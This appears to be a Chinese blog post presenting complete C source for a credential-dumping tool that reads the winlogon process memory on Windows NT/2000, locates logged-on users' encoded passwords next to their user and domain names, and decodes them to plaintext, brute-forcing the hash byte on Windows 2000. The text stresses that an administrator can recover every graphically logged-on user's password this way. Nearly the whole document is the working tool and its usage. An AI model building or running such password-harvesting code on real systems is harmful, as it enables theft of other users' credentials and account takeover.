|
Windows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。
因为登陆的域名和用户名是明文存储在winlogon进程里的,而Password是限定了查找本进程用户的密码
<167-174: GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400);
>,然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串
if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
&&
(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
> ,找到后就查后边的加密口令。
其实只要你自己指定用户名和winlogon进程去查找就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以找到。
1. pulist,找到系统里登陆的域名和用户名,及winlogon进程id
2. 然后给每个winlogon进程id查找指定的用户就行了。
example:
C:\Documents and Settings\bingle>pulist
Process PID User
Idle 0
System 8
smss.exe 164 NT AUTHORITY\SYSTEM
csrss.exe 192 NT AUTHORITY\SYSTEM
winlogon.exe 188 NT AUTHORITY\SYSTEM
wins.exe 1212 NT AUTHORITY\SYSTEM
Explorer.exe 388 TEST-2KSERVER\Administrator
internat.exe 1828 TEST-2KSERVER\Administrator
conime.exe 1868 TEST-2KSERVER\Administrator
msiexec.exe 1904 NT AUTHORITY\SYSTEM
tlntsvr.exe 1048 NT AUTHORITY\SYSTEM
taskmgr.exe 1752 TEST-2KSERVER\Administrator
csrss.exe 2056 NT AUTHORITY\SYSTEM
winlogon.exe 2416 NT AUTHORITY\SYSTEM
rdpclip.exe 2448 TEST-2KSERVER\clovea
Explorer.exe 2408 TEST-2KSERVER\clovea
internat.exe 1480 TEST-2KSERVER\clovea
cmd.exe 2508 TEST-2KSERVER\Administrator
ntshell.exe 368 TEST-2KSERVER\Administrator
ntshell.exe 1548 TEST-2KSERVER\Administrator
ntshell.exe 1504 TEST-2KSERVER\Administrator
csrss.exe 1088 NT AUTHORITY\SYSTEM
winlogon.exe 1876 NT AUTHORITY\SYSTEM
rdpclip.exe 1680 TEST-2KSERVER\bingle
Explorer.exe 2244 TEST-2KSERVER\bingle
conime.exe 2288 TEST-2KSERVER\bingle
internat.exe 1592 TEST-2KSERVER\bingle
cmd.exe 1692 TEST-2KSERVER\bingle
mdm.exe 2476 TEST-2KSERVER\bingle
taskmgr.exe 752 TEST-2KSERVER\bingle
pulist.exe 2532 TEST-2KSERVER\bingle
具体实现代码如下-
- #include <windows.h>
- #include <tchar.h>
- #include <stdio.h>
- #include <stdlib.h>
- typedef struct _UNICODE_STRING
- {
- USHORT Length;
- USHORT MaximumLength;
- PWSTR Buffer;
- } UNICODE_STRING, *PUNICODE_STRING;
- // Undocumented typedef's
- typedef struct _QUERY_SYSTEM_INFORMATION
- {
- DWORD GrantedAccess;
- DWORD PID;
- WORD HandleType;
- WORD HandleId;
- DWORD Handle;
- } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
- typedef struct _PROCESS_INFO_HEADER
- {
- DWORD Count;
- DWORD Unk04;
- DWORD Unk08;
- } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
- typedef struct _PROCESS_INFO
- {
- DWORD LoadAddress;
- DWORD Size;
- DWORD Unk08;
- DWORD Enumerator;
- DWORD Unk10;
- char Name [0x108];
- } PROCESS_INFO, *PPROCESS_INFO;
- typedef struct _ENCODED_PASSWORD_INFO
- {
- DWORD HashByte;
- DWORD Unk04;
- DWORD Unk08;
- DWORD Unk0C;
- FILETIME LoggedOn;
- DWORD Unk18;
- DWORD Unk1C;
- DWORD Unk20;
- DWORD Unk24;
- DWORD Unk28;
- UNICODE_STRING EncodedPassword;
- } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;
- typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD);
- typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
- typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
- typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
- typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING);
- // Private Prototypes
- BOOL IsWinNT (void);
- BOOL IsWin2K (void);
- BOOL AddDebugPrivilege (void);
- DWORD FindWinLogon (void);
- BOOL LocatePasswordPageWinNT (DWORD, PDWORD);
- BOOL LocatePasswordPageWin2K (DWORD, PDWORD);
- void DisplayPasswordWinNT (void);
- void DisplayPasswordWin2K (void);
- // Global Variables
- PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
- PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
- PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
- PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
- PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;
- DWORD PasswordLength = 0;
- PVOID RealPasswordP = NULL;
- PVOID PasswordP = NULL;
- DWORD HashByte = 0;
- wchar_t UserName [0x400];
- wchar_t UserDomain [0x400];
- int __cdecl main( int argc, char* argv[] )
- {
- printf( "\n\t To Find Password in the Winlogon process\n" );
- printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] );
- if ((!IsWinNT ())
- &&
- (!IsWin2K ()))
- {
- printf ("Windows NT or Windows 2000 are required.\n");
- return (0);
- }
- // Add debug privilege to PasswordReminder -
- // this is needed for the search for Winlogon.
- // 增加PasswordReminder的权限
- // 使得PasswordReminder可以打开并调试Winlogon进程
- if (!AddDebugPrivilege ())
- {
- printf
- ("Unable to add debug privilege.\n");
- return (0);
- }
- printf ("The debug privilege has been added to PasswordReminder.\n");
- // 获得几个未公开API的入口地址
- HINSTANCE hNtDll =
- LoadLibrary
- ("NTDLL.DLL");
- pfnNtQuerySystemInformation =
- (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress
- (hNtDll,
- "NtQuerySystemInformation");
- pfnRtlCreateQueryDebugBuffer =
- (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress
- (hNtDll,
- "RtlCreateQueryDebugBuffer");
- pfnRtlQueryProcessDebugInformation =
- (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress
- (hNtDll,
- "RtlQueryProcessDebugInformation");
- pfnRtlDestroyQueryDebugBuffer =
- (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress
- (hNtDll,
- "RtlDestroyQueryDebugBuffer");
- pfnRtlRunDecodeUnicodeString =
- (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress
- (hNtDll,
- "RtlRunDecodeUnicodeString");
- // Locate WinLogon's PID - need debug privilege and admin rights.
- // 获得Winlogon进程的PID
- // 这里作者使用了几个Native API,其实使用PSAPI一样可以
- DWORD WinLogonPID =
- argc > 3 ? atoi( argv[3] ) : FindWinLogon () ;
- if (WinLogonPID == 0)
- {
- printf
- ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");
- printf
- ("PasswordReminder is unable to find the password in memory.\n");
- FreeLibrary (hNtDll);
- return (0);
- }
- printf("The WinLogon process id is %d (0x%8.8lx).\n",
- WinLogonPID, WinLogonPID);
- // Set values to check memory block against.
- // 初始化几个和用户账号相关的变量
- memset(UserName, 0, sizeof (UserName));
- memset(UserDomain, 0, sizeof (UserDomain));
- if( argc > 2 )
- {
- mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) );
- mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) );
- }else
- {
- GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
- GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400);
- }
- printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID );
- // Locate the block of memory containing
- // the password in WinLogon's memory space.
- // 在Winlogon进程中定位包含Password的内存块
- BOOL FoundPasswordPage = FALSE;
- if (IsWin2K ())
- FoundPasswordPage =
- LocatePasswordPageWin2K
- (WinLogonPID,
- &PasswordLength);
- else
- FoundPasswordPage =
- LocatePasswordPageWinNT
- (WinLogonPID,
- &PasswordLength);
- if (FoundPasswordPage)
- {
- if (PasswordLength == 0)
- {
- printf
- ("The logon information is: %S/%S.\n",
- UserDomain,
- UserName);
- printf
- ("There is no password.\n");
- }
- else
- {
- printf
- ("The encoded password is found at 0x%8.8lx and has a length of %d.\n",
- RealPasswordP,
- PasswordLength);
- // Decode the password string.
- if (IsWin2K ())
- DisplayPasswordWin2K ();
- else
- DisplayPasswordWinNT ();
- }
- }
- else
- printf
- ("PasswordReminder is unable to find the password in memory.\n");
- FreeLibrary
- (hNtDll);
- return (0);
- } // main
- //
- // IsWinNT函数用来判断操作系统是否WINNT
- //
- BOOL
- IsWinNT
- (void)
- {
- OSVERSIONINFO OSVersionInfo;
- OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
- if (GetVersionEx
- (&OSVersionInfo))
- return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
- else
- return (FALSE);
- } // IsWinNT
- //
- // IsWin2K函数用来判断操作系统是否Win2K
- //
- BOOL
- IsWin2K
- (void)
- {
- OSVERSIONINFO OSVersionInfo;
- OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
- if (GetVersionEx
- (&OSVersionInfo))
- return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
- &&
- (OSVersionInfo.dwMajorVersion == 5));
- else
- return (FALSE);
- } // IsWin2K
- //
- // AddDebugPrivilege函数用来申请调试Winlogon进程的特权
- //
- BOOL
- AddDebugPrivilege
- (void)
- {
- HANDLE Token;
- TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
- DWORD ReturnLength = 0;
- if (OpenProcessToken
- (GetCurrentProcess (),
- TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
- &Token))
- if (LookupPrivilegeValue
- (NULL,
- "SeDebugPrivilege",
- &TokenPrivileges.Privileges[0].Luid))
- {
- TokenPrivileges.PrivilegeCount = 1;
- TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- return
- (AdjustTokenPrivileges
- (Token,
- FALSE,
- &TokenPrivileges,
- sizeof (TOKEN_PRIVILEGES),
- &PreviousState,
- &ReturnLength));
- }
- return (FALSE);
- } // AddDebugPrivilege
- //
- // Note that the following code eliminates the need
- // for PSAPI.DLL as part of the executable.
- // FindWinLogon函数用来寻找WinLogon进程
- // 由于作者使用的是Native API,因此不需要PSAPI的支持
- //
- DWORD
- FindWinLogon
- (void)
- {
- #define INITIAL_ALLOCATION 0x100
- DWORD rc = 0;
- DWORD SizeNeeded = 0;
- PVOID InfoP =
- HeapAlloc
- (GetProcessHeap (),
- HEAP_ZERO_MEMORY,
- INITIAL_ALLOCATION);
- // Find how much memory is required.
- pfnNtQuerySystemInformation
- (0x10,
- InfoP,
- INITIAL_ALLOCATION,
- &SizeNeeded);
- HeapFree
- (GetProcessHeap (),
- 0,
- InfoP);
- // Now, allocate the proper amount of memory.
- InfoP =
- HeapAlloc
- (GetProcessHeap (),
- HEAP_ZERO_MEMORY,
- SizeNeeded);
- DWORD SizeWritten = SizeNeeded;
- if (pfnNtQuerySystemInformation
- (0x10,
- InfoP,
- SizeNeeded,
- &SizeWritten))
- {
- HeapFree
- (GetProcessHeap (),
- 0,
- InfoP);
- return (0);
- }
- DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);
- if (NumHandles == 0)
- {
- HeapFree
- (GetProcessHeap (),
- 0,
- InfoP);
- return (0);
- }
- PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
- (PQUERY_SYSTEM_INFORMATION) InfoP;
- DWORD i;
- for (i = 1; i <= NumHandles; i++)
- {
- // "5" is the value of a kernel object type process.
- if (QuerySystemInformationP->HandleType == 5)
- {
- PVOID DebugBufferP =
- pfnRtlCreateQueryDebugBuffer
- (0,
- 0);
- if (pfnRtlQueryProcessDebugInformation
- (QuerySystemInformationP->PID,
- 1,
- DebugBufferP) == 0)
- {
- PPROCESS_INFO_HEADER ProcessInfoHeaderP =
- (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);
- DWORD Count =
- ProcessInfoHeaderP->Count;
- PPROCESS_INFO ProcessInfoP =
- (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));
- if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)
- {
- DWORD i;
- DWORD dw = (DWORD) ProcessInfoP;
- for (i = 0; i < Count; i++)
- {
- dw += sizeof (PROCESS_INFO);
- ProcessInfoP = (PPROCESS_INFO) dw;
- if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)
- return (0);
- if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)
- rc =
- QuerySystemInformationP->PID;
- }
- if (DebugBufferP)
- pfnRtlDestroyQueryDebugBuffer
- (DebugBufferP);
- HeapFree
- (GetProcessHeap (),
- 0,
- InfoP);
- return (rc);
- }
- }
- if (DebugBufferP)
- pfnRtlDestroyQueryDebugBuffer
- (DebugBufferP);
- }
- DWORD dw = (DWORD) QuerySystemInformationP;
- dw += sizeof (QUERY_SYSTEM_INFORMATION);
- QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;
- }
- HeapFree
- (GetProcessHeap (),
- 0,
- InfoP);
- return (rc);
- } // FindWinLogon
- //
- // LocatePasswordPageWinNT函数用来在NT中找到用户密码
- //
- BOOL
- LocatePasswordPageWinNT
- (DWORD WinLogonPID,
- PDWORD PasswordLength)
- {
- #define USER_DOMAIN_OFFSET_WINNT 0x200
- #define USER_PASSWORD_OFFSET_WINNT 0x400
- BOOL rc = FALSE;
- HANDLE WinLogonHandle =
- OpenProcess
- (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
- FALSE,
- WinLogonPID);
- if (WinLogonHandle == 0)
- return (rc);
- *PasswordLength = 0;
- SYSTEM_INFO SystemInfo;
- GetSystemInfo
- (&SystemInfo);
- DWORD PEB = 0x7ffdf000;
- DWORD BytesCopied = 0;
- PVOID PEBP =
- HeapAlloc
- (GetProcessHeap (),
- HEAP_ZERO_MEMORY,
- SystemInfo.dwPageSize);
- if (!ReadProcessMemory
- (WinLogonHandle,
- (PVOID) PEB,
- PEBP,
- SystemInfo.dwPageSize,
- &BytesCopied))
- {
- CloseHandle
- (WinLogonHandle);
- return (rc);
- }
- // Grab the value of the 2nd DWORD in the TEB.
- PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));
- MEMORY_BASIC_INFORMATION MemoryBasicInformation;
- if (VirtualQueryEx
- (WinLogonHandle,
- (PVOID) *WinLogonHeap,
- &MemoryBasicInformation,
- sizeof (MEMORY_BASIC_INFORMATION)))
- if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
- &&
- ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
- {
- PVOID WinLogonMemP =
- HeapAlloc
- (GetProcessHeap (),
- HEAP_ZERO_MEMORY,
- MemoryBasicInformation.RegionSize);
- if (ReadProcessMemory
- (WinLogonHandle,
- (PVOID) *WinLogonHeap,
- WinLogonMemP,
- MemoryBasicInformation.RegionSize,
- &BytesCopied))
- {
- DWORD i = (DWORD) WinLogonMemP;
- DWORD UserNamePos = 0;
- // The order in memory is UserName followed by the UserDomain.
- // 在内存中搜索UserName和UserDomain字符串
- do
- {
- if ((wcsicmp (UserName, (wchar_t *) i) == 0)
- &&
- (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
- {
- UserNamePos = i;
- break;
- }
- i += 2;
- } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);
- if (UserNamePos)
- {
- PENCODED_PASSWORD_INFO EncodedPasswordInfoP =
- (PENCODED_PASSWORD_INFO)
- ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);
- FILETIME LocalFileTime;
- SYSTEMTIME SystemTime;
- if (FileTimeToLocalFileTime
- (&EncodedPasswordInfoP->LoggedOn,
- &LocalFileTime))
- if (FileTimeToSystemTime
- (&LocalFileTime,
- &SystemTime))
- printf
- ("You logged on at %d/%d/%d %d:%d:%d\n",
- SystemTime.wMonth,
- SystemTime.wDay,
- SystemTime.wYear,
- SystemTime.wHour,
- SystemTime.wMinute,
- SystemTime.wSecond);
- *PasswordLength =
- (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);
- // NT就是好,hash-byte直接放在编码中:)
- HashByte =
- (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;
- RealPasswordP =
- (PVOID) (*WinLogonHeap +
- (UserNamePos - (DWORD) WinLogonMemP) +
- USER_PASSWORD_OFFSET_WINNT + 0x34);
- PasswordP =
- (PVOID) ((PBYTE) (UserNamePos +
- USER_PASSWORD_OFFSET_WINNT + 0x34));
- rc = TRUE;
- }
- }
- }
- HeapFree
- (GetProcessHeap (),
- 0,
- PEBP);
- CloseHandle
- (WinLogonHandle);
- return (rc);
- } // LocatePasswordPageWinNT
- //
- // LocatePasswordPageWin2K函数用来在Win2K中找到用户密码
- //
- BOOL
- LocatePasswordPageWin2K
- (DWORD WinLogonPID,
- PDWORD PasswordLength)
- {
- #define USER_DOMAIN_OFFSET_WIN2K 0x400
- #define USER_PASSWORD_OFFSET_WIN2K 0x800
- HANDLE WinLogonHandle =
- OpenProcess
- (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
- FALSE,
- WinLogonPID);
- if (WinLogonHandle == 0)
- return (FALSE);
- *PasswordLength = 0;
- SYSTEM_INFO SystemInfo;
- GetSystemInfo
- (&SystemInfo);
- DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;
- DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;
- DWORD Increment = SystemInfo.dwPageSize;
- MEMORY_BASIC_INFORMATION MemoryBasicInformation;
- while (i < MaxMemory)
- {
- if (VirtualQueryEx
- (WinLogonHandle,
- (PVOID) i,
- &MemoryBasicInformation,
- sizeof (MEMORY_BASIC_INFORMATION)))
- {
- Increment = MemoryBasicInformation.RegionSize;
- if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
- &&
- ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
- {
- PVOID RealStartingAddressP =
- HeapAlloc
- (GetProcessHeap (),
- HEAP_ZERO_MEMORY,
- MemoryBasicInformation.RegionSize);
- DWORD BytesCopied = 0;
- if (ReadProcessMemory
- (WinLogonHandle,
- (PVOID) i,
- RealStartingAddressP,
- MemoryBasicInformation.RegionSize,
- &BytesCopied))
- {
- // 在WinLogon的内存空间中寻找UserName和DomainName的字符串
- if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
- &&
- (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
- {
- RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);
- PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);
- // Calculate the length of encoded unicode string.
- // 计算出密文的长度
- PBYTE p = (PBYTE) PasswordP;
- DWORD Loc = (DWORD) p;
- DWORD Len = 0;
- if ((*p == 0)
- &&
- (* (PBYTE) ((DWORD) p + 1) == 0))
- ;
- else
- do
- {
- Len++;
- Loc += 2;
- p = (PBYTE) Loc;
- } while
- (*p != 0);
- *PasswordLength = Len;
- CloseHandle
- (WinLogonHandle);
- return (TRUE);
- }
- }
- HeapFree
- (GetProcessHeap (),
- 0,
- RealStartingAddressP);
- }
- }
- else
- Increment = SystemInfo.dwPageSize;
- // Move to next memory block.
- i += Increment;
- }
- CloseHandle
- (WinLogonHandle);
- return (FALSE);
- } // LocatePasswordPageWin2K
- //
- // DisplayPasswordWinNT函数用来在NT中解码用户密码
- //
- void
- DisplayPasswordWinNT
- (void)
- {
- UNICODE_STRING EncodedString;
- EncodedString.Length =
- (WORD) PasswordLength * sizeof (wchar_t);
- EncodedString.MaximumLength =
- ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
- EncodedString.Buffer =
- (PWSTR) HeapAlloc
- (GetProcessHeap (),
- HEAP_ZERO_MEMORY,
- EncodedString.MaximumLength);
- CopyMemory
- (EncodedString.Buffer,
- PasswordP,
- PasswordLength * sizeof (wchar_t));
- // Finally - decode the password.
- // Note that only one call is required since the hash-byte
- // was part of the orginally encoded string.
- // 在NT中,hash-byte是包含在编码中的
- // 因此只需要直接调用函数解码就可以了
- pfnRtlRunDecodeUnicodeString
- ((BYTE) HashByte,
- &EncodedString);
- printf
- ("The logon information is: %S/%S/%S.\n",
- UserDomain,
- UserName,
- EncodedString.Buffer);
- printf
- ("The hash byte is: 0x%2.2x.\n",
- HashByte);
- HeapFree
- (GetProcessHeap (),
- 0,
- EncodedString.Buffer);
- } // DisplayPasswordWinNT
- //
- // DisplayPasswordWin2K函数用来在Win2K中解码用户密码
- //
- void
- DisplayPasswordWin2K
- (void)
- {
- DWORD i, Hash = 0;
- UNICODE_STRING EncodedString;
- EncodedString.Length =
- (USHORT) PasswordLength * sizeof (wchar_t);
- EncodedString.MaximumLength =
- ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
- EncodedString.Buffer =
- (PWSTR) HeapAlloc
- (GetProcessHeap (),
- HEAP_ZERO_MEMORY,
- EncodedString.MaximumLength);
- // This is a brute force technique since the hash-byte
- // is not stored as part of the encoded string - :>(.
- // 因为在Win2K中hash-byte并不存放在编码中
- // 所以在这里进行的是暴力破解
- // 下面的循环中i就是hash-byte
- // 我们将i从0x00到0xff分别对密文进行解密
- // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的
- // 这个算法实际上是从概率角度来解码的
- // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小
- for (i = 0; i <= 0xff; i++)
- {
- CopyMemory
- (EncodedString.Buffer,
- PasswordP,
- PasswordLength * sizeof (wchar_t));
- // Finally - try to decode the password.
- // 使用i作为hash-byte对密文进行解码
- pfnRtlRunDecodeUnicodeString
- ((BYTE) i,
- &EncodedString);
- // Check for a viewable password.
- // 检查解码出的密码是否完全由可见字符组成
- // 如果是则认为是正确的解码
- PBYTE p = (PBYTE) EncodedString.Buffer;
- BOOL Viewable = TRUE;
- DWORD j, k;
- for (j = 0; (j < PasswordLength) && Viewable; j++)
- {
- if ((*p)
- &&
- (* (PBYTE)(DWORD (p) + 1) == 0))
- {
- if (*p < 0x20)
- Viewable = FALSE;
- if (*p > 0x7e)
- Viewable = FALSE;
- //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了
- }
- else
- Viewable = FALSE;
- k = DWORD (p);
- k++; k++;
- p = (PBYTE) k;
- }
- if (Viewable)
- {
- printf
- ("The logon information is: %S/%S/%S.\n",
- UserDomain,
- UserName,
- EncodedString.Buffer);
- printf
- ("The hash byte is: 0x%2.2x.\n",
- i);
- }
- }
- HeapFree
- (GetProcessHeap (),
- 0,
- EncodedString.Buffer);
- }
复制代码
作者:yincheng01 发表于2012-1-6 7:06:06 原文链接
|
|